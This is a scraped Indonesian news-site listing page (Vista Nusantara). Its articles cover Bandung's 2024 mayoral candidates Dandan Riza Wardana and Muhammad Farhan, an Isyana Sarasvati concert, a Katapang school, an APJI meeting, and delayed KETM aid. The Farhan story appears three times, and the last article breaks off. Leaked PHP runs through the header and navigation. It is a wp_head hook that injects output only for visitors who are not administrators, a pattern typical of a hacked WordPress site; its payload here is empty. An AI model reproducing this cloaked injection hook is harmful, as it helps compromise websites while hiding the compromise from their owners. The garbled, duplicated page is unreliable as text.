if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 228 dari 271 -

Vista Nusantara

?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

  • Bandung Butuh Pemimpin Bersih, Dandan Riza Wardana di Tengah Sorotan Integritas

    BANDUNG, VISTA NUSANTARA — Dandan Riza Wardana, calon Wali Kota Bandung 2024 dengan nomor urut 1, kembali menjadi sorotan publik terkait jejak rekam masa lalunya. Sebelumnya, Dandan pernah menjabat sebagai Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) di Kota Bandung. Namun, masa jabatannya ternoda oleh kasus hukum yang cukup menggemparkan: penetapannya sebagai tersangka kasus pungutan liar (pungli).
    Kasus pungli tersebut terjadi ketika Dandan masih memegang kendali sebagai kepala dinas, posisi yang seharusnya menjadi contoh integritas dan pelayanan publik yang bersih. Ketika status hukum Dandan meningkat menjadi tersangka, Wali Kota Bandung kala itu, Ridwan Kamil, tidak tinggal diam. Langkah tegas diambil dengan menonaktifkan Dandan dari jabatannya, guna menjaga stabilitas pemerintahan dan kredibilitas Kota Bandung di mata publik. 
    “Iya sudah (non aktif). Plt-nya sudah disiapkan dari asisten daerah III Ibu Evi,” ujar Emil, sapaan akrab Ridwan Kamil, di Balai Kota Bandung, Senin (30/1). Keputusan tersebut diambil untuk memastikan proses hukum dapat berjalan dengan lancar tanpa ada gangguan dari pejabat yang masih aktif bertugas.
    Penonaktifan Dandan saat itu disambut beragam reaksi. Sebagian pihak memuji tindakan Emil yang cepat dan tegas, sementara pihak lain menunggu perkembangan kasus yang sedang berjalan. Proses hukum yang dijalani Dandan menjadi topik hangat yang dibahas dalam berbagai media lokal dan nasional. Hal ini menimbulkan pertanyaan mengenai bagaimana integritas Dandan dipertahankan, mengingat posisinya sebagai pejabat publik dengan tanggung jawab yang besar.
    Tahun 2024 membawa babak baru dalam karier politik Dandan ketika ia mencalonkan diri sebagai Wali Kota Bandung. Namun, langkah ini tidak lepas dari sorotan kritis. Meskipun kampanyenya menggaungkan pesan-pesan reformasi, transparansi, dan anti-korupsi, latar belakangnya menjadi tantangan tersendiri. Bagaimana seorang calon pemimpin yang pernah menjadi tersangka dalam kasus pungli bisa meyakinkan publik bahwa dirinya layak mengemban amanat besar sebagai wali kota?
    Ahli politik dan pengamat sosial menilai bahwa rekam jejak seorang kandidat memiliki pengaruh signifikan terhadap kepercayaan publik. Slogan anti-korupsi yang diusung Dandan harus didukung oleh bukti nyata dan komitmen yang dapat diandalkan. “Penting bagi masyarakat untuk mempertimbangkan tidak hanya visi dan misi kandidat, tetapi juga riwayatnya. Reputasi bersih dalam jabatan sebelumnya menjadi indikator kuat bagaimana seorang pemimpin akan bertindak di masa depan,” ujar seorang pengamat politik dari Universitas Padjadjaran.
    Di sisi lain, pendukung Dandan menegaskan bahwa semua orang memiliki kesempatan untuk berubah dan membuktikan dirinya di depan publik. Mereka percaya, Dandan mampu menunjukkan bahwa dirinya telah belajar dari masa lalu dan siap untuk memimpin Bandung menuju perubahan yang lebih baik. “Kami percaya pada kemampuan dan tekad Pak Dandan. Dia berkomitmen untuk membawa transparansi dan akuntabilitas dalam pemerintahannya,” ungkap salah satu anggota tim suksesnya.
    Namun, bagi sebagian besar masyarakat, pertanyaan besar masih menggantung: apakah seorang calon wali kota dengan catatan sebagai tersangka kasus pungli layak diandalkan untuk membawa perubahan dan menciptakan pemerintahan yang bersih? Waktu akan membuktikan bagaimana Dandan merespons tantangan ini, serta apakah dia mampu mengatasi keraguan publik dan memenangi hati para pemilih di Bandung.***

  • Sorotan Publik pada Kehadiran Tak Diundang Farhan di Cijerah Fest 1.1

    BANDUNG, VISTA NUSANTARA — Salah satu aspek paling menarik dari kontroversi ini adalah adanya undangan yang dikirimkan ke WhatsApp karang taruna, yang disebut-sebut sebagai undangan resmi. Namun, pihak karang taruna dengan tegas menyatakan bahwa mereka tidak pernah mengeluarkan undangan semacam itu. Tambahan pula, format undangan yang beredar dalam bentuk file JPG memunculkan kecurigaan. Menurut panitia, undangan resmi karang taruna selalu berbentuk cetakan fisik atau dokumen PDF, bukan file gambar digital.
    Salah seorang panitia menjelaskan, “Ketika kami melihat undangan berbentuk JPG yang beredar, kami langsung tahu itu bukan dari kami. Draft dan desainnya sangat berbeda dengan undangan resmi yang biasa kami keluarkan.” Hal ini menimbulkan spekulasi bahwa ada pihak ketiga yang mencoba memanfaatkan acara ini untuk kepentingan tertentu, mengakibatkan kebingungan dan ketidaknyamanan di antara panitia dan peserta acara.
    Kehadiran Muhammad Farhan dan rombongan dengan atribut kampanye yang menyerupai seragam hansip menarik perhatian besar. Seragam ini memang menjadi simbol khas kampanye mereka, namun dalam konteks acara yang seharusnya bebas dari politik, atribut tersebut menimbulkan ketegangan. Panitia acara mengungkapkan keberatannya atas kehadiran paslon yang tidak diundang tersebut, karena mereka khawatir acara yang telah dipersiapkan lama akan berubah menjadi ajang politisasi.
    Salah satu anggota panitia mengatakan, “Kami ingin acara ini tetap netral dan menjadi ajang kebersamaan warga, bukan ajang politik. Kehadiran mereka dengan atribut kampanye jelas tidak sesuai dengan maksud acara.” 
    Namun, situasi yang memanas tersebut diredam ketika salah satu awak media, yang hadir sebagai mitra acara, mengajak Farhan berdialog. Setelah diskusi berlangsung, Farhan dan rombongannya memutuskan untuk mundur dari acara tersebut untuk menjaga kelangsungan pesta rakyat dan menghormati permintaan panitia.
    Tak lama setelah insiden tersebut, Badan Pengawas Pemilu (Bawaslu) memanggil pihak panitia karang taruna untuk dimintai keterangan. Pemanggilan ini bertujuan untuk menyelidiki apakah ada pelanggaran aturan kampanye yang dilakukan oleh paslon Farhan-Erwin, serta mencari tahu asal-usul undangan yang tersebar di WhatsApp. Investigasi ini penting untuk memastikan bahwa tidak ada pelanggaran etika kampanye atau manipulasi yang dapat mencederai prinsip-prinsip pemilu yang adil dan netral.
    Seorang anggota panitia yang hadir dalam panggilan Bawaslu mengungkapkan, “Kami berharap Bawaslu dapat mengungkap siapa yang bertanggung jawab atas undangan yang beredar ini. Kami tidak ingin acara warga menjadi korban kepentingan politik.”
    Insiden ini menambah tantangan bagi pasangan Farhan-Erwin dalam kampanye mereka. Publik menilai bahwa langkah kampanye seperti ini harus dilakukan dengan lebih cermat, agar tidak menimbulkan persepsi negatif. Beberapa pengamat politik menyatakan bahwa insiden ini bisa berdampak pada kredibilitas paslon, terutama di tengah persaingan ketat Pilkada Bandung 2024.
    Di sisi lain, Farhan dan timnya masih belum memberikan pernyataan resmi mengenai kehadiran mereka dalam acara tersebut. Beberapa sumber menyebut bahwa paslon hadir dengan itikad baik, berdasarkan undangan yang mereka terima, meski akhirnya undangan tersebut dipertanyakan keabsahannya.
    Kehadiran tak diundang Muhammad Farhan dalam acara *Cijerah Fest 1.1* menciptakan sorotan serius terhadap etika dan strategi kampanye paslon dalam Pilkada 2024. Kasus ini menunjukkan pentingnya verifikasi informasi dan transparansi dalam setiap langkah kampanye. Bagaimana Farhan dan tim kampanyenya merespons situasi ini, serta hasil penyelidikan Bawaslu, akan menjadi faktor penting dalam menentukan langkah mereka selanjutnya di ajang politik ini.***

  • Strategi Kampanye Dipertanyakan, Farhan-Erwin Hadapi Kritik Tajam

    BANDUNG, VISTA NUSANTARA — Kontroversi mewarnai perjalanan kampanye pemilihan Walikota Bandung 2024 dengan Muhammad Farhan dan pasangannya, Erwin, berada dalam sorotan. Peristiwa ini bermula dari kehadiran Farhan dalam acara *Cijerah Fest 1.1*, yang diselenggarakan oleh karang taruna RW 05 di Cijerah pada Sabtu 9 November 2024. Kehadiran mereka menjadi polemik karena tidak diundang secara resmi oleh panitia.

    Salah satu aspek menarik dari kontroversi ini adalah keberadaan undangan yang beredar melalui WhatsApp karang taruna, yang diklaim sebagai undangan resmi. Namun, pihak karang taruna dengan tegas membantah pernah mengeluarkan undangan semacam itu. Selain itu, format undangan yang berbentuk file JPG turut memicu kecurigaan. Menurut keterangan panitia, undangan resmi yang dikeluarkan karang taruna selalu berbentuk cetakan fisik atau dokumen PDF, bukan file gambar digital.

    Salah seorang panitia menjelaskan, “Ketika kami melihat undangan berbentuk JPG yang beredar, kami langsung tahu itu bukan dari kami. Draft dan desainnya sangat berbeda dengan undangan resmi yang biasa kami keluarkan.” Hal ini menimbulkan spekulasi bahwa ada pihak ketiga yang mencoba memanfaatkan acara ini untuk kepentingan tertentu, mengakibatkan kebingungan dan ketidaknyamanan di antara panitia dan peserta acara.

    Kehadiran Muhammad Farhan dan rombongan dengan atribut kampanye yang menyerupai seragam hansip menjadi sorotan utama. Meskipun seragam ini telah menjadi simbol khas kampanye mereka, kemunculan dengan atribut tersebut di acara yang seharusnya bebas dari nuansa politik memicu ketegangan. Panitia acara menyampaikan keberatan atas kehadiran pasangan calon yang tidak diundang tersebut, khawatir acara yang dirancang untuk tujuan netral akan berubah menjadi ajang politisasi, mengganggu suasana yang sudah direncanakan dengan matang.

    Salah satu anggota panitia mengatakan, “Kami ingin acara ini tetap netral dan menjadi ajang kebersamaan warga, bukan ajang politik. Kehadiran mereka dengan atribut kampanye jelas tidak sesuai dengan maksud acara.” 

    Namun, situasi yang memanas tersebut diredam ketika salah satu awak media, yang hadir sebagai mitra acara, mengajak Farhan berdialog. Setelah diskusi berlangsung, Farhan dan rombongannya memutuskan untuk mundur dari acara tersebut untuk menjaga kelangsungan pesta rakyat dan menghormati permintaan panitia.

    Tak lama setelah insiden tersebut, Badan Pengawas Pemilu (Bawaslu) memanggil pihak panitia karang taruna untuk dimintai keterangan. Pemanggilan ini bertujuan untuk menyelidiki apakah ada pelanggaran aturan kampanye yang dilakukan oleh paslon Farhan-Erwin, serta mencari tahu asal-usul undangan yang tersebar di WhatsApp. Investigasi ini penting untuk memastikan bahwa tidak ada pelanggaran etika kampanye atau manipulasi yang dapat mencederai prinsip-prinsip pemilu yang adil dan netral.

    Seorang anggota panitia yang hadir dalam panggilan Bawaslu mengungkapkan, “Kami berharap Bawaslu dapat mengungkap siapa yang bertanggung jawab atas undangan yang beredar ini. Kami tidak ingin acara warga menjadi korban kepentingan politik.”

    Insiden ini menambah tantangan bagi pasangan Farhan-Erwin dalam kampanye mereka. Publik menilai bahwa langkah kampanye seperti ini harus dilakukan dengan lebih cermat, agar tidak menimbulkan persepsi negatif. Beberapa pengamat politik menyatakan bahwa insiden ini bisa berdampak pada kredibilitas paslon, terutama di tengah persaingan ketat Pilkada Bandung 2024.

    Di sisi lain, Farhan dan timnya masih belum memberikan pernyataan resmi mengenai kehadiran mereka dalam acara tersebut. Beberapa sumber menyebut bahwa paslon hadir dengan itikad baik, berdasarkan undangan yang mereka terima, meski akhirnya undangan tersebut dipertanyakan keabsahannya.

    Kehadiran tak diundang Muhammad Farhan dalam acara *Cijerah Fest 1.1* menciptakan sorotan serius terhadap etika dan strategi kampanye paslon dalam Pilkada 2024. Kasus ini menunjukkan pentingnya verifikasi informasi dan transparansi dalam setiap langkah kampanye. Bagaimana Farhan dan tim kampanyenya merespons situasi ini, serta hasil penyelidikan Bawaslu, akan menjadi faktor penting dalam menentukan langkah mereka selanjutnya di ajang politik ini.***

  • Panitia Cijerah Fest Klarifikasi, Undangan Farhan Bukan dari Kami

    BANDUNG, VISTA NUSANTARA — Kontroversi mewarnai perjalanan kampanye pemilihan Walikota Bandung 2024 dengan Muhammad Farhan dan pasangannya, Erwin, berada dalam sorotan. Peristiwa ini bermula dari kehadiran Farhan dalam acara *Cijerah Fest 1.1*, yang diselenggarakan oleh karang taruna RW 05 di Cijerah pada Sabtu 9 November 2024. Kehadiran mereka menjadi polemik karena tidak diundang secara resmi oleh panitia.
    Salah satu aspek menarik dari kontroversi ini adalah keberadaan undangan yang beredar melalui WhatsApp karang taruna, yang diklaim sebagai undangan resmi. Namun, pihak karang taruna dengan tegas membantah pernah mengeluarkan undangan semacam itu. Selain itu, format undangan yang berbentuk file JPG turut memicu kecurigaan. Menurut keterangan panitia, undangan resmi yang dikeluarkan karang taruna selalu berbentuk cetakan fisik atau dokumen PDF, bukan file gambar digital.
    Salah seorang panitia menjelaskan, “Ketika kami melihat undangan berbentuk JPG yang beredar, kami langsung tahu itu bukan dari kami. Draft dan desainnya sangat berbeda dengan undangan resmi yang biasa kami keluarkan.” Hal ini menimbulkan spekulasi bahwa ada pihak ketiga yang mencoba memanfaatkan acara ini untuk kepentingan tertentu, mengakibatkan kebingungan dan ketidaknyamanan di antara panitia dan peserta acara.
    Kehadiran Muhammad Farhan dan rombongan dengan atribut kampanye yang menyerupai seragam hansip menjadi sorotan utama. Meskipun seragam ini telah menjadi simbol khas kampanye mereka, kemunculan dengan atribut tersebut di acara yang seharusnya bebas dari nuansa politik memicu ketegangan. Panitia acara menyampaikan keberatan atas kehadiran pasangan calon yang tidak diundang tersebut, khawatir acara yang dirancang untuk tujuan netral akan berubah menjadi ajang politisasi, mengganggu suasana yang sudah direncanakan dengan matang.
    Salah satu anggota panitia mengatakan, “Kami ingin acara ini tetap netral dan menjadi ajang kebersamaan warga, bukan ajang politik. Kehadiran mereka dengan atribut kampanye jelas tidak sesuai dengan maksud acara.” 
    Namun, situasi yang memanas tersebut diredam ketika salah satu awak media, yang hadir sebagai mitra acara, mengajak Farhan berdialog. Setelah diskusi berlangsung, Farhan dan rombongannya memutuskan untuk mundur dari acara tersebut untuk menjaga kelangsungan pesta rakyat dan menghormati permintaan panitia.
    Tak lama setelah insiden tersebut, Badan Pengawas Pemilu (Bawaslu) memanggil pihak panitia karang taruna untuk dimintai keterangan. Pemanggilan ini bertujuan untuk menyelidiki apakah ada pelanggaran aturan kampanye yang dilakukan oleh paslon Farhan-Erwin, serta mencari tahu asal-usul undangan yang tersebar di WhatsApp. Investigasi ini penting untuk memastikan bahwa tidak ada pelanggaran etika kampanye atau manipulasi yang dapat mencederai prinsip-prinsip pemilu yang adil dan netral.
    Seorang anggota panitia yang hadir dalam panggilan Bawaslu mengungkapkan, “Kami berharap Bawaslu dapat mengungkap siapa yang bertanggung jawab atas undangan yang beredar ini. Kami tidak ingin acara warga menjadi korban kepentingan politik.”
    Insiden ini menambah tantangan bagi pasangan Farhan-Erwin dalam kampanye mereka. Publik menilai bahwa langkah kampanye seperti ini harus dilakukan dengan lebih cermat, agar tidak menimbulkan persepsi negatif. Beberapa pengamat politik menyatakan bahwa insiden ini bisa berdampak pada kredibilitas paslon, terutama di tengah persaingan ketat Pilkada Bandung 2024.
    Di sisi lain, Farhan dan timnya masih belum memberikan pernyataan resmi mengenai kehadiran mereka dalam acara tersebut. Beberapa sumber menyebut bahwa paslon hadir dengan itikad baik, berdasarkan undangan yang mereka terima, meski akhirnya undangan tersebut dipertanyakan keabsahannya.
    Kehadiran tak diundang Muhammad Farhan dalam acara *Cijerah Fest 1.1* menciptakan sorotan serius terhadap etika dan strategi kampanye paslon dalam Pilkada 2024. Kasus ini menunjukkan pentingnya verifikasi informasi dan transparansi dalam setiap langkah kampanye. Bagaimana Farhan dan tim kampanyenya merespons situasi ini, serta hasil penyelidikan Bawaslu, akan menjadi faktor penting dalam menentukan langkah mereka selanjutnya di ajang politik ini.***

  • Konser Lost In Harmony, Merayakan Kejayaan Musik Isyana Sarasvati

    VISTA NUSANTARA — Isyana Sarasvati akan merayakan satu dekade perjalanan kariernya melalui konser istimewa bertajuk *”Isyana Sarasvati A Decade Live in Concert: Lost In Harmony,”* yang akan digelar pada 16 November mendatang di Istora Senayan, Jakarta. Dalam konser ini, Isyana mengajak para penggemar untuk tenggelam dalam harmoni dari lagu-lagunya yang merentang sejak album pertama hingga karya terbarunya.

    Acara ini tidak hanya menampilkan perjalanan musik Isyana, tetapi juga kolaborasi epik bersama sejumlah musisi dan seniman ternama. Ia akan berkolaborasi dengan konduktor terkemuka Avip Priatna, yang memimpin Jakarta Concert Orchestra, serta didukung oleh Batavia Madrigal Singers dan The Resonanz Children’s Choir untuk menambah sentuhan magis. Beberapa bintang tamu juga akan turut tampil, seperti Mahalini, GAC, Afgan, Rendy Pandugo, Deadsquad, dan Vidi Aldiano, memberikan warna tersendiri dalam membawakan lagu-lagu Isyana.
    Tiket konser masih tersedia melalui situs resmi www.isyanalostinharmony.com, dengan berbagai kategori mulai dari Festival dan Kategori 4 seharga Rp599.000. Pilihan lainnya termasuk Kategori 3 dan 2 yang dijual masing-masing seharga Rp899.000 dan Rp1.099.000. Tiket dengan sudut pandang yang lebih baik tersedia di harga Rp1.499.000.
    Isyana juga menyediakan kelas VIP, yakni kategori *Harmony* dengan harga Rp2.399.000 dan kelas *Redrose* seharga Rp2.799.000. Kelas VIP menawarkan berbagai fasilitas eksklusif seperti toilet khusus, paket merchandise eksklusif, dan akses menonton terbaik. Pengunjung dengan tiket kelas *Redrose* akan menikmati area khusus yang memungkinkan pengalaman lebih mendalam dalam perayaan ini.
    Konser *”Lost In Harmony”* menjanjikan malam penuh keajaiban dan keindahan musik, di mana para penggemar dapat ikut serta merayakan sepuluh tahun penuh pencapaian Isyana Sarasvati.***

  • SMP Negeri 3 Katapang, Sekolah Mandiri dengan Segudang Prestasi

    BANDUNG, VISTA NUSANTARA — SMP Negeri 3 Katapang yang beralamat di jalan Baraja Desa Cilampeni Kecamatan Katapang Kabupaten Bandung yang awalnya sebagai kelas jauh dari SMP Negeri 2 Katapang, saat ini telah menjadi sekolah mandiri yang telah banyak melahirkan banyak prestasi baik dari siswa-siswi maupun gurunya.


    Seperti yang diterangkan kepala SMP Negeri 3 Katapang Henni Ratnasusanti, S.Pd., M.Pd., Kamis (14/11/2024), bahwa Beliau mulai diangkat menjadi kepala sekolah definitif pertama di SMP Negeri 3 Katapang pada bulan April 2022 dengan status masih sebagai kelas jauh dari SMP Negeri 2 Katapang. Saat itu belum ada sarana prasarana yang memadai sehingga masih menggunakan bangunan SDN 1 Cijagra dengan jumlah 12 rombel. 

    Atas dorongan dan keinginan yang kuat dari guru-guru, dukungan muspika serta Dinas Pendidikan Kabupaten Bandung guna menjadikan SMP Negeri 3 Katapang sebagai sekolah mandiri. Dan Alhamdulillah pada bulan April tahun 2022 semuanya keinginan itu terwujud dengan turunnya Surat Keputusan Bupati Kabupaten Bandung yang menetapkan SMP Negeri 3 Katapang sebagai sekolah mandiri. Hal ini dapat terwujud atas hasil kolaborasi dan kerjasama semua, ujar Henni Ratnasusanti.

    Sebagai sekolah baru maka tahap awal yaitu mencari operator sekolah yang mumpuni yang akan bertanggung jawab terhadap Dapodik sekolah, serta sosialisasi kepada masyarakat maupun orang tua siswa bahwa SMP Negeri 3 Katapang telah menjadi sekolah mandiri. Status sekolah ini mendapat respon dan antusias positif dari masyarakat, hal ini membuktikan bahwa keberadaan SMP Negeri 3 Katapang telah lama dinantikan oleh masyarakat. Dukungan ini menjadi motivasi bagi seluruh manajemen sekolah guna menjadikan SMP Negeri 3 Katapang sebagai sekolah yang siap bersaing dengan sekolah yang telah ada, dalam hal menghasilkan out put yang memiliki keunggulan dan memiliki kompetensi.


    PPDB mandiri yang pertama dilaksanakan pada tahun Pelajaran 2022-2023 dan masyarakat sangat antusias dengan membludaknya pendaftar guna menitipkan putra putrinya bersekolah di SMP Negeri 3 Katapang, dan atas izin Disdik jumlah rombel pun ditambah sesuai dengan kapasitas yang ada serta regulasi, ujar Henni Ratnasusanti.

    Visi sekolah yang dimunculkan yaitu “Mewujudkan Peserta Didik Yang Cermat, Edukatif, Religius, Dinamis, Inovasi Dan Kreatif” yang berwawasan lingkungan, Visi tersebut terangkum dalam jargon “CERDIK”. Dari 8 standar nasional pendidikan yang ada semuanya menjadi prioritas, tetapi karena sebagai sekolah baru maka kesiapan guru dan tenaga kependidikan menjadi hal yang dikedepankan. Hal ini dengan pertimbangan memiliki GTK yang hebat dan berkompeten maka akan berkorelasi dengan mutu lulusan yang baik, unggul serta berkompeten, tentunya akan berpengaruh juga pada pelaksanaan standar nasional pendidikan yang lainnya.

    Guna meningkatkan kualitas sekolah dari semua segi, maka salah satu usaha yang dilakukan yaitu dengan best practise dengan konsep AMIS BUDI yang dalam bahasa Sunda berarti someah dengan penjabaran makna yaitu Amanah, Inovatif, Silaturahmi, Bimbingan, dan Upaya, serta Dedikasi. Budaya Amis Budi ini menjadi pedoman dalam pelaksanaan dalam kegiatan sehari-hari.


    Dari konsep yang telah dibuat dan diimplementasikan maka dimulai pada tahun pembelajaran 2022-2023 sudah menghasilkan prestasi baik dari para siswa maupun para guru, diantaranya pencak silat, taekwondo, paskibra, juara menulis cerpen, membuat puisi, dan membaca puisi serta prestasi yang lainnya dengan skala sub rayon, kabupaten, provinsi dan nasional, tutur Henni Ratnasusanti. Selain dari segi prestasi, keberadaan sarana prasarana pun maju sangat pesat. Sekarang kami memiliki gedung sendiri yang berada di atas lahan sendiri milik pemda dengan fasilitas penunjang lainnya yang sedikit demi sedikit sudah mulai kami miliki. Semua ini tentu saja berkat dukungan Pemda Kabupaten Bandung melalui Dinas Pendidikan.

    Henni menambahkan untuk inovasi SMP Negeri 3 Katapang telah menjalin kerjasama serta menerima bantuan dalam pengadaan alat peraga pembelajaran dari Pudac Scientific serta CSR dari Perusahaan MAKE Up Korea berupa workshop pemograman Perangkat Arduino dan mendapatkan peralatannya berupa KIT Ardunio, serta telah melakukan MoU juga dengan IKIP Siliwangi dalam pelaksanaan Psikotes bagi seluruh siswa baik kelas 7, 8 dan 9, pungkasnya.

    Tim Humas SMP Negeri 3 Katapang yang diwakili Yana Sopyana, S.Pd.I., dan Yuliyana Sya’diah, S.I.Pust., menambahkan bahwa semua kegiatan serta pembiasaan seluruh siswa telah dipublikasikan melalui media sosial baik Instagram maupun channel YouTube. Hal ini dilakukan sebagai upaya sosialisasi dan menginformasikan kepada masyarakat terkait kegiatan SMP Negeri 3 Katapang serta prestasi yang telah diraih oleh siswa maupun oleh guru, sehingga hal ini bisa menambahkan rasa bangga serta meningkatkan kepercayaan masyarakat pada SMP Negeri 3 Katapang. Selain telah menjalin kerjasama dengan lembaga yang telah disebutkan, tim Humas pun terus berupaya menciptakan bina lingkungan dengan stakeholder yang ada baik puskemas, desa, kecamatan, Polsek dan Koramil, sehingga seluruh upaya tersebut dapat mewujudkan sekolah aman, nyaman dan menyenangkan sesuai kurikulum merdeka dengan konsep merdeka belajar dan yang paling utama dapat meningkatkan pelayanan serta mutu pendidikan di SMP Negeri 3 Katapang, pungkasnya.***

  • Pelantikan Ketua APJI Jabar yang Baru, Misi Membangun Jabar Bergizi dan Berdaya Saing

    BANDUNG, VISTA NUSANTARA — Gelaran Musyawarah Daerah (Musda) III Asosiasi Pengusaha Jasaboga Indonesia (APJI) Jawa Barat berlangsung meriah di Hotel Topas Galeria, Bandung. Dengan tema besar *“Bangkit dan Berkolaborasi Menuju Jabar Bergizi serta Berdaya Saing”*, acara ini mengundang perhatian luas dan dihadiri oleh berbagai tokoh penting dari sektor pemerintahan, industri, dan keamanan. Musda ini juga menjadi momen bersejarah dengan pelantikan Ocha Cahya Tedjawisastra sebagai Ketua APJI Jabar yang baru, serta para Ketua Dewan Pengurus Cabang (DPC) APJI dari kota dan kabupaten di Jawa Barat.


    **Hadirnya Para Tokoh Terkemuka**

    Musda III APJI Jabar dihadiri oleh Ketua Umum APJI, Tashya Megananda Yukki, yang dalam pidatonya menegaskan pentingnya sinergi antara pemerintah dan pelaku usaha kuliner dalam upaya meningkatkan kualitas gizi masyarakat Jawa Barat. “Kolaborasi adalah kunci untuk menciptakan inovasi dan solusi yang dapat memperkuat sektor jasaboga serta meningkatkan kualitas hidup masyarakat,” ujar Tashya dengan penuh semangat.

    Kepala Dinas Kesehatan Provinsi Jawa Barat, dr. R. Vini Adiani Dewi, turut hadir dan menyampaikan pandangannya tentang peran penting APJI dalam mendukung program kesehatan dan gizi pemerintah. “Pengusaha jasaboga memiliki peran strategis dalam memastikan akses masyarakat terhadap makanan yang bergizi dan aman. Melalui kerja sama dengan sektor kesehatan, kita bisa menciptakan dampak positif yang lebih luas,” kata dr. Vini.

    Satuan Tugas Produk Halal yang diwakili oleh Saeful Falah dari Kantor Wilayah Kementerian Agama Provinsi Jawa Barat juga menyampaikan pentingnya kepatuhan terhadap standar halal dalam industri makanan. Hal ini, menurut Saeful, adalah upaya untuk memberikan rasa aman bagi konsumen Muslim dan memperluas pasar produk jasaboga di Jawa Barat.

    Sementara itu, melalui platform digital, Badan Gizi Nasional yang diwakili oleh Prof. Dr. Abdul Gofur Ahmad hadir dalam Musda ini dan menekankan pentingnya kesadaran gizi dalam setiap produk yang ditawarkan. “Peningkatan kualitas gizi harus menjadi prioritas utama dalam industri makanan, dan APJI bisa menjadi ujung tombak dalam transformasi ini,” ujar Prof. Abdul melalui sesi daring.

    **Dukungan Pemerintah dan Sektor Keamanan**

    PJ Gubernur Provinsi Jawa Barat diwakili oleh Jafung Adyatama Pariwisata dan Ekonomi Kreatif Ahli Muda Disparbud Jabar, Melinda Rizki, S.S., M.M., menyampaikan apresiasi atas komitmen APJI dalam mendukung pariwisata dan ekonomi kreatif. “Industri kuliner memiliki peran penting dalam menarik wisatawan dan memajukan ekonomi kreatif. Kami berharap APJI dapat terus berinovasi dan berkolaborasi untuk meningkatkan daya saing Jawa Barat di tingkat nasional dan internasional,” ujar Melinda.

    Dari sisi keamanan dan pertahanan, Kabekangdam III/Siliwangi, Kolonel CBA Faryan Noversyah PPY. S.Sos. CHRMP, dan Kabid Keuangan Polda Jawa Barat, Kombes. Pol. Heni Kresnowati, S.P., S.E., M.Si, juga hadir untuk menunjukkan dukungan mereka terhadap stabilitas dan pengembangan usaha kuliner. Kombes Heni menekankan pentingnya pengelolaan keuangan yang baik dan kerjasama yang erat antara sektor usaha dan keamanan guna menciptakan lingkungan bisnis yang kondusif.

    **Pelantikan Ocha Cahya Tedjawisastra dan Para Ketua DPC**

    Pelantikan Ocha Cahya Tedjawisastra sebagai Ketua APJI Jabar yang baru menjadi salah satu sorotan utama dalam Musda ini. Dalam pidato pelantikannya, Ocha menyampaikan visinya untuk membawa APJI Jabar ke arah yang lebih progresif dan kolaboratif. “Tema *‘Bangkit dan Berkolaborasi Menuju Jabar Bergizi serta Berdaya Saing’* mengingatkan kita bahwa untuk maju, kita perlu berjalan bersama, saling mendukung, dan menghadirkan inovasi yang menjawab kebutuhan pasar sekaligus memperhatikan kesehatan masyarakat,” ungkap Ocha.

    Tidak hanya itu, pelantikan para Ketua DPC APJI dari berbagai kota dan kabupaten di Jawa Barat juga menandai babak baru bagi pengembangan APJI di tingkat daerah. Dengan kepemimpinan yang baru ini, diharapkan setiap cabang mampu menjadi pilar yang memperkuat peran APJI dalam memajukan industri jasaboga secara lokal dan regional.

    **Kolaborasi Lintas Sektor dan Harapan Masa Depan**

    Selain tokoh-tokoh di atas, hadir pula Ketua Asgeprindo Jawa Barat, Nico Raymond, yang mendukung pengembangan jaringan antara pelaku usaha jasaboga dan penyedia fasilitas pernikahan di Jawa Barat. Ketua Kadin Jawa Barat, Almer Faiq Rusydi, menegaskan bahwa kemitraan antara APJI dan Kadin akan membawa dampak positif dalam mendorong pertumbuhan ekonomi daerah. “Kolaborasi antara sektor jasaboga dengan sektor lainnya sangat penting. Ini bukan hanya tentang kompetisi, tetapi tentang sinergi untuk menciptakan ekosistem yang sehat,” ujarnya.

    Dari sisi ketahanan ekonomi dan kebudayaan, Analis Seni dan Budaya Bakesbangpol Jawa Barat, Dani Hadianto, SE., MAB., turut memberikan pandangan bahwa kekuatan seni dan budaya bisa menjadi bagian dari pengembangan sektor kuliner. Ketua GIPI Jabar, Herman Muchtar, juga hadir memberikan dukungan terkait potensi pariwisata kuliner sebagai daya tarik utama Jawa Barat.

    **Penutup: Membangun Masa Depan yang Lebih Bergizi dan Kompetitif**

    Musda III APJI Jabar ini menandai tonggak penting dalam upaya penguatan sektor jasaboga di Jawa Barat. Dengan pelantikan ketua baru dan komitmen yang diperbarui dari para pemimpin DPC, diharapkan APJI Jabar bisa terus berinovasi dan meningkatkan kontribusinya dalam menciptakan produk makanan yang bergizi, aman, dan berkualitas tinggi. Semangat kolaborasi lintas sektor yang ditunjukkan dalam acara ini menjadi bukti bahwa dengan dukungan bersama, Jawa Barat dapat meraih masa depan yang lebih sehat dan berdaya saing.***

  • Penyaluran KETM 2024 Terhambat, FKSS Jabar Soroti Kurangnya Regulasi Hibah

    BANDUNG, VISTA NUSANTARA — Bantuan Keluarga Ekonomi Tidak Mampu (KETM) Tahun 2024 SMA/SMK Swasta sebesar 7 Miliar tidak akan tersalurkan di tahun 2024.


    Berdasarkan Disdik Provinsi Jawa Barat yang disampaikan oleh Sekdisdik, Kasubag Tata Usaha (Keuangan) dan Perencanaan Dinas Pendidikan Provinsi Jawa Barat disebabkan ada temuan Inspektorat diantaranya : 

    1. Tidak ada regulasi khusus (Pergub) karena selama ini regulasinya menggunakan Pergub No. 13 Tahun 2021

    2. Hibah tidak bisa disalurkan setelah 3 tahun berturut-turut

    3. Pengajuan hibah seharusnya H-1

